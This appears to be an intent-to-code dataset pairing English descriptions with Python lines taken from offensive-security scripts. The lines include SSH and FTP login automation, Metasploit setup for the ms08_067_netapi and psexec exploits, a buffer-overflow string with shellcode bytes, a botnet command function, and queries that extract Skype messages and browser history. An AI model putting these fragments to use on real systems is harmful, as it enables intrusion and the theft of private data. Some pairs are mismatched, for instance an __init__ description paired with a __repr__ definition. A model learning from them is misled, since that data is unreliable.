Intent
stringlengths
4
208
Script
stringlengths
4
171
Return the title of self
return self.title
For each line in the method readlines with no argument of pF
for line in pF.readlines():
Call method acquire on screenLock with no arguments
screenLock.acquire()
Call the method tgtHost on options and assign the result to tgtHost
tgtHost = options.tgtHost
Call the method _getexif with no argument of imgFile and assign it to info
info = imgFile._getexif()
Assign to text of self the value text
self.text = text
Assign to perm_denied the value 'Permission denied'
perm_denied = 'Permission denied'
If the substring encrypted is in the string e
if 'encrypted' in str(e):
Import the library for parsing
import optparse
Call the method pxssh with no arguments of the package pxssh and assign it to s
s = pxssh.pxssh()
Create an empty dictionary and assign it to dnsRecords
dnsRecords = {}
Parse the argument into the tuple made of options and args
(options, args) = parser.parse_args()
Call the function EnumValue with argument netKey and 4 and assign the result to the tuple n, name and t
(n, name, t) = EnumValue(netKey, 4)
Assign to dst the tgt of options
dst = options.tgt
Parse the usage prod pd target host and the target port
parser = optparse.OptionParser('usage %prog '+ '-H <target host> -p <target port>')
Call the function anonLogin with argument host
anonLogin(host)
From the library to manipulate Exif data of image import TAGS
from PIL.ExifTags import TAGS
Import the library to parse html and xml
from BeautifulSoup import BeautifulSoup
Define the function with anonLogin with argument hostname
def anonLogin(hostname):
Do nothing
pass
Import the library to interact with a sqlite database
import sqlite3
Define function botnetCommand with argument command
def botnetCommand(command):
Start except block
except:
If preNum is not equal to 0
if preNum != 0:
Call the function printRecord with argument tgt
printRecord(tgt)
Assign to date the result of the function str with argument row at the position 0
date = str(row[0])
If the substring partlist is not in the function str with argument row at the position 3
if 'partlist' not in str(row[3]):
Assign to THRESH five
THRESH = 5
Call function gethostbyaddr with argument tgtIP assign the result to tgtName
tgtName = gethostbyaddr(tgtIP)
Call the function printNets with arguments username and password
printNets(username, password)
Call the method write of configFile with argument 'set LPORT' concatenated to the function str with argument lport concatenated to '\n'
configFile.write('set LPORT ' + str(lport) + '\\n')
Assign to ttlValues at the key ipsrc the value ttl of pkt
ttlValues[ipsrc] = pkt.ttl
Call the function portScan with arguments tgtHost and tgtPorts
portScan(tgtHost, tgtPorts)
If thresh of options is not None
if options.thresh != None:
If url is equal to None
if url == None:
Exit function returning value self.session.before
return self.session.before
Call the method send with argument "USER anonymous\r\n" of s
s.send("USER anonymous\r\\n")
Call the function split of rLon at the position 0 and assign it to mapLon
mapLon = rLon[0].split
Assign to crash the value "\x41" multiply by 246 concatenated to ret concatenated to paddling concatenated to shellcode
crash = "\x41" * 246 + ret + padding + shellcode
Call the method back with no argument of ab
ab.back()
Import the library to manage cookies
import cookielib
Assign to value the value of the function str with argument row at the position 2
value = str(row[2])
Assign to command the value argv at position 2 of sys
command = sys.argv[2]
Return an empty string
return ''
Else
else:
Call method sendline with argument cmd on s
s.sendline(cmd)
From the library to manipulate Pdf import PdfFileReader
from pyPdf import PdfFileReader
Call the object BeautifulSoup with argument urlContent and assign it to soup
soup = BeautifulSoup(urlContent)
Close the save file
save.close()
Call the method write of configFile with argument 'use exploit/windows/smb/ms08_067_netapi\n'
configFile.write('use exploit/windows/smb/ms08_067_netapi\\n')
Execute the command 'SELECT tbl_name FROM sqlite_master WHERE type==\"table\";' on c
c.execute('SELECT tbl_name FROM sqlite_master WHERE type==\"table\";')
Import the library for spawning applications
import pexpect
Assign to kmldoc the concatenation of kmlheader the result of the function plotIPs with argument pcap and kmlfooter
kmldoc=kmlheader+plotIPs(pcap)+kmlfooter
Assign to ab the anonBrowser with parameters proxies equals to an empty list and user_agents equals to a list with inside a tuple made of 'User-agent' and 'superSecretBrowser'
ab = anonBrowser(proxies=[],user_agents=[('User-agent','superSecretBroswer')])
Define main function with no arguments
def main():
Call the class BoundedSemaphore with argument value equals to maxConnections and assign to connection_lock
connection_lock = BoundedSemaphore(value=maxConnections)
Call the method parse_args with no argument and assign it to the tuple made of options and args
(options, args) = parser.parse_args()
Assign to passwdFile the value passwdFile of options
passwdFile = options.passwdFile
Call the method write of configFile with argument 'use exploit/windows/smb/psexec\n'
configFile.write('use exploit/windows/smb/psexec\\n')
Call the class Client with argumet host, user and password and assign it to client
client = Client(host, user, password)
Use the command "SELECT datetime(timestamp,'unixepoch'),dialog_partner, author, body_xml FROM Messages;"
c.execute("SELECT datetime(timestamp,'unixepoch'),dialog_partner, author, body_xml FROM Messages;")
Assign the result of the method pxssh on pxssh with no argument to s
s = pxssh.pxssh()
Call the method write of configFile with argument 'set payload ' and continue to the next line the argument and the concatenation
configFile.write('set payload '+\
If the variable pcapFile of options is equal to None
if options.pcapFile == None:
Define the method __init__ with arguments self, title, text and url
def __repr__(self):
Return results
return results
Call the method add_option with arguments '-d', dest equals to 'dir', type equals to 'string' and help equals to 'specify destination directory'
parser.add_option('-d', dest='dir', type='string',help='specify destination directory')
Assign the value password to self.password
self.password = password
and "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
Define the function printNets with argument username and password
def printNets(username, password):
and "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
Open the document pcapFile and assign it to f
f = open(pcapFile)
Execute the command "select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;"on c
c.execute("select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;")
Else if ret equals 3
elif ret == 3:
Call the method open with argument url of ab and assign it to page
page = ab.open(url)
Define the function printContacts with argument skypeDB
def printContacts(skypeDB):
Call the function spawn with argument connStr of the library pexpect and assign it to child
child = pexpect.spawn(connStr)
Call the method read of page with no argument
html = page.read()
Define the function findRecycled with argument recycleDir
def findRecycled(recycleDir):
Create a packet pkt with source src, destination dst, UDP with destination port 31335 and the load equals to 'PONG'
pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')
Call the method get with arguments tag and tag and assign of TAGS and assign it to decoded
decoded = TAGS.get(tag, tag)
Define the function __init__ with arguments self and handle
def __init__(self, handle):
Assign to handle of self handle
self.handle = handle
Assign to tweets of self the result of the method get_tweets with no argument of self
self.tweets = self.get_tweets()
Define the function get_tweets with argument self
def get_tweets(self):
Assign to query the result of the method quote_plus of urllib with argument the concatenation of 'from:', handle of self and ' since:2009-01-01 include:retweets'
query = urllib.quote_plus('from:' + self.handle+ ' since:2009-01-01 include:retweets')
Assign an empty list to tweets
tweets = []
Assign to browser the class anonBrowser called with no arguments
browser = anonBrowser()
Call the method anonymize with no argument of browser
browser.anonymize()
Assign to response the result of the method open of browser with argument the concatenation of 'http://search.twitter.com/'+ 'search.json?q=' and query
response = browser.open('http://search.twitter.com/'+ 'search.json?q=' + query)
Assign to json_object the result of the method load of json with argument response
json_objects = json.load(response)
For each result in json_objects with key 'results'
for result in json_objects['results']:
Assign to new_result an empty dictionary
new_result = {}
Assign to new_result with key 'from_user' the value of result with key 'from_user_name'
new_result['from_user'] = result['from_user_name']
Assign to new_result with key 'geo' the value of result with key 'geo'
new_result['geo'] = result['geo']
Assign to new_result with key 'tweet' the value of result with key 'text'
new_result['tweet'] = result['text']
Append to tweets the new_result
tweets.append(new_result)
Return the tweets
return tweets
Define the function find_interests with argument self
def find_interests(self):
Create an empty dictionary and assign it to interests
interests = {}